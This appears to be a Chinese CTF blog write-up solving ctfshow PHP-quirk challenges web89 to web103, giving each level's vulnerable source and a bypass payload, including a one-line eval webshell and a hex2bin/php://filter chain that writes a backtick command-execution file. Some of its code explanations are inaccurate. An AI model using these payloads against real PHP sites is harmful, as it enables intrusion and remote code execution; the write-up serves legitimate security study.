PHP特性篇(web89-103)

web89

分析源码

<?php

include("flag.php");
highlight_file(__FILE__);

if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if (preg_match("/[0-9]/", $num)) {
        die("no no no!");
    }
    if (intval($num)) {
        echo $flag;
    }
} 

首先,它包含了一个名为 "flag.php" 的文件,这个文件可能包含了某种标志(flag)信息。

然后,它使用 highlight_file(__FILE__) 语句来高亮显示当前 PHP 文件的内容,并将其输出到浏览器。这通常用于调试或教育目的,以便查看 PHP 代码的结构。

接着,它检查是否存在一个名为 "num" 的 GET 参数。如果存在,它将该参数的值赋给 $num 变量。

然后,它检查 $num 是否只包含数字。如果是,它将输出 "no no no!" 并终止脚本执行。这是一个简单的防御机制,用于防止恶意用户通过修改 "num" 参数来直接访问 "flag" 信息。

最后,如果 $num 不只包含数字(即通过了正则表达式检查),它将尝试将 $num 转换为整数。如果转换成功(即 $num 是一个整数),它将输出 "flag" 信息。这表明 "flag" 信息可能是与某种特定的整数输入相关联的。

由此可知如果我们传入一个数组的话,就可以绕过if

playload:num[]=1

web90

分析源码

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if ($num === "4476") {
        die("no no no!");
    }
    if (intval($num, 0) === 4476) {
        echo $flag;
    } else {
        echo intval($num, 0);
    }
} 

这个代码的关键在于

它检查 $num 是否等于 "4476"。如果是,它将输出 "no no no!" 并终止脚本执行。这是一个简单的防御机制,用于防止恶意用户通过修改 "num" 参数来直接访问 "flag" 信息。

如果 $num 不等于 "4476",脚本将尝试将 $num 转换为整数。这个转换使用了第二个参数 0,这意味着将使用十进制数进行转换。如果转换后的整数等于 4476,那么将输出 "flag" 信息。这表明 "flag" 信息可能是与输入的整数值为 4476 相关联的。

如果 $num 转换为整数后不等于 4476,则输出转换后的整数。

所以我们就可以得出

playload:?num=0x117c

web91

分析源码

 <?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} nonononono

这个代码的关键在于

$a=$_GET['cmd'];:这行代码从 GET 请求中获取名为 "cmd" 的参数,并将其值赋给 $a 变量

if(preg_match('/^php$/im', $a)){:这行代码使用正则表达式检查 $a 是否以 "php" 开头。/^php$/im 是一个正则表达式,其中:

^php 表示字符串必须以 "php" 开头。

$ 表示字符串必须以 "php" 结尾。

im 是正则表达式的标志,其中 i 表示不区分大小写,m 表示多行模式。

if(preg_match('/^php$/i', $a)){:这行代码再次使用正则表达式检查 $a 是否以 "php" 开头,这次使用了不区分大小写的标志 i。如果 $a 以 "php" 开头,它将输出 "hacker"。

else{ echo $flag; }:如果 $a 不以 "php" 开头,它将输出 "flag" 信息。这意味着 "flag" 信息可能与输入的字符串是否以 "php" 开头有关联。

如果 $a 不以 "php" 开头,脚本将输出 "nonononono"。

看起来很自相矛盾,但可以用表达式修饰符

补充:


不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行; 

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; 

所以payload:?cmd=a%0aphp

web92

分析源码

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

和web90一样

所以 playload:?num=0x117c

web93

分析源码

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

和92有点不一样

使用正则表达式检查 $num 是否包含小写字母。如果包含,脚本将输出 "no no no!" 并终止执行。

如果 $num 不等于 4476,并且不包含小写字母,脚本将尝试将其转换为整数。如果转换后的整数等于 4476,脚本将输出 "flag" 信息。否则,它将输出转换后的整数。

所以我们直接用小数

payload:?num=4476.2

web94

分析源码

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

关键

如果 $num 严格等于 "4476"(注意双等号,用于严格比较),脚本将输出 "no no no!" 并终止执行。

使用正则表达式检查 $num 是否包含小写字母。如果包含,脚本将输出 "no no no!" 并终止执行。

检查 $num 是否不包含字符 "0"。如果包含,脚本将输出 "no no no!" 并终止执行。

如果 $num 不等于 "4476",不包含小写字母,并且不包含字符 "0",脚本将尝试将其转换为整数。如果转换后的整数等于 4476,脚本将输出 "flag" 信息。

用8进制转换且在八进制前面加一个空格,这样strpos()会返回1,所以我们把4476转换为8进制10574后,前面再加一个空格即可

payload:?num= 010574

web95

分析源码

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

和上题比较没什么太大的变化

用上一题的playload就行了

web96

分析源码

 <?php

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
} 

这个代码传的是一个u,这个代码是弱比较,所以在前面加字符就可以绕过了

playload:u=./flag.php

web97

还是分析代码

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?> 

这关的关键在于它设置了两个 POST参数 'a' 和 'b'

然后,它检查 'a' 和 'b' 是否不相等

如果 'a' 和 'b' 不相等,脚本将使用 md5() 函数对这两个值进行哈希处理,并比较得到的哈希值是否相等。如果哈希值相等,脚本将输出 "flag" 变量的值。否则,它将输出 "Wrong."。

补充:

哈希处理是一种将任意长度的数据(通常是字符串)转换成固定长度散列值的过程。这个散列值通常用于唯一标识数据,或者用于快速查找、验证数据的完整性和真实性。哈希处理在计算机科学和信息安全领域有着广泛的应用。

哈希函数是实现哈希处理的核心,它接受输入数据并返回相应的哈希值。哈希函数的设计目标是使得对于不同的输入数据,尽可能产生不同的哈希值,并且保证相同的数据输入会产生相同的哈希值。但是,哈希函数通常无法反向操作,也就是说,无法从哈希值推导出原始的输入数据。

哈希处理的主要特点包括:

唯一性:对于不同的输入数据,尽可能产生不同的哈希值。理论上,如果两个输入数据的哈希值相同,那么它们被称为“哈希冲突”。虽然哈希冲突发生的概率极小,但在设计哈希函数时应该尽量减少这种情况的发生。

快速性:哈希函数应该能够快速地计算出输入数据的哈希值。这样可以提高数据处理的效率,特别是在需要频繁计算哈希值的场景下。

不可逆性:由于哈希函数通常是单向的,即无法从哈希值推导出原始的输入数据。这种不可逆性使得哈希处理在保护数据隐私和安全性方面具有重要作用。

所以

payload:a[]=1&b[]=2

web98

上源码

<?php

include("flag.php");
$_GET ? $_GET = &$_POST : 'flag';
$_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag';
$_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag';
highlight_file($_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__); 

关键在于:如果get参数HTTP_FLAG的值为flag,就读取文件,也就是输出flag。

所以我们先通过get随便传一个参数上去,再通过post请求传HTTP_FLAG参数并赋值为flag即可获得flag

所以playload:

?1=4

POST: HTTP_FLAG=flag

web99

分析源码

 <?php

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?> 

in_array是弱类型比较,所以可以用数字+".php"的方式绕过判断,并写入一句话木马

所以按照这个思路,就写入一句话木马到1.php文件,内容是<?php eval($_POST[1]);?>

执行命令就可以了

web100

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if ($v0) {
    if (!preg_match("/\;/", $v2)) {
        if (preg_match("/\;/", $v3)) {
            eval("$v2('ctfshow')$v3");
        }
    }
} 

$v1 = $_GET['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];:这些行从 GET 请求中获取参数 'v1'、'v2' 和 'v3',并将它们分别赋值给变量 $v1$v2 和 $v3

$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);:这行代码检查 $v1$v2 和 $v3 是否都是数字。如果是,则 $v0 的值为 true,否则为 false

接下来的 if ($v0) 语句块包含了一些条件判断和可能的代码执行:

首先,它检查 $v2 是否不包含分号(;)。

如果 $v2 不包含分号,它会进一步检查 $v3 是否包含分号。

如果上述两个条件都满足,它会执行 eval("$v2('ctfshow')$v3");。这里使用了 eval 函数,它能够执行动态生成的 PHP 代码。根据提供的代码,当用户提供特定的输入时,可能会执行类 ctfshow 中的方法或函数。

v0赋值,赋值=的优先级高于逻辑运算。所以只要让is_numeric($v1)返回true即可满足if判断,and后面的无论结果如何都不影响。

payload?v1=21&v2=var_dump($ctfshow)/*&v3=*/;

web101

分析代码

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if ($v0) {
    if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)) {
        if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)) {
            eval("$v2('ctfshow')$v3");
        }
    }
} 

和100比起来 ,这次特殊符号基本都被禁了

利用ReflectionClass建立ctfshow类的反射类,new ReflectionClass($class)获得class的反射对象(包含了元数据信息)。

payload?v1=1&v2=echo new Reflectionclass&v3=;

web102

分析代码

 <?php

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if ($v4) {
    $s = substr($v2, 2);
    $str = call_user_func($v1, $s);
    echo $str;
    file_put_contents($v3, $str);
} else {
    die('hacker');
}
hacker

file_put_contents($v3, $str):这行代码将字符串 $str 写入文件,文件名由用户输入 $v3 决定

$v4 = is_numeric($v2) and is_numeric($v3):这里只验证 $v2 和 $v3 是否为数字。

call_user_func($method,$a)调用的参数是,v2第3位及之后的数字。那么我们需要在后面的数字着手,必须满足数字,科学计数e是唯一可以在is_numeric中不会影响判断数字的字符。所以可选字符只有0-9和e

使用 die('hacker') 来处理不安全的情况

v1是hex2bin;v2里先加上两个随意的数字,如11,然后加上php语句的base64转16进制的内容;v3是php伪协议语句

GET:
	cat(<?=`cat *`;):v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
	tac(<?=`tac *`;):v2=11504438395948526859794171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST:v1=hex2bin
#访问2.php后查看源代码获得flag

web103

 <?php

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if ($v4) {
    $s = substr($v2, 2);
    $str = call_user_func($v1, $s);
    echo $str;
    if (!preg_match("/.*p.*h.*p.*/i", $str)) {
        file_put_contents($v3, $str);
    } else {
        die('Sorry');
    }
} else {
    die('hacker');
}
hacker

比102多一点检查,但没什么关系,上一关的playload也能用

  • 17
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值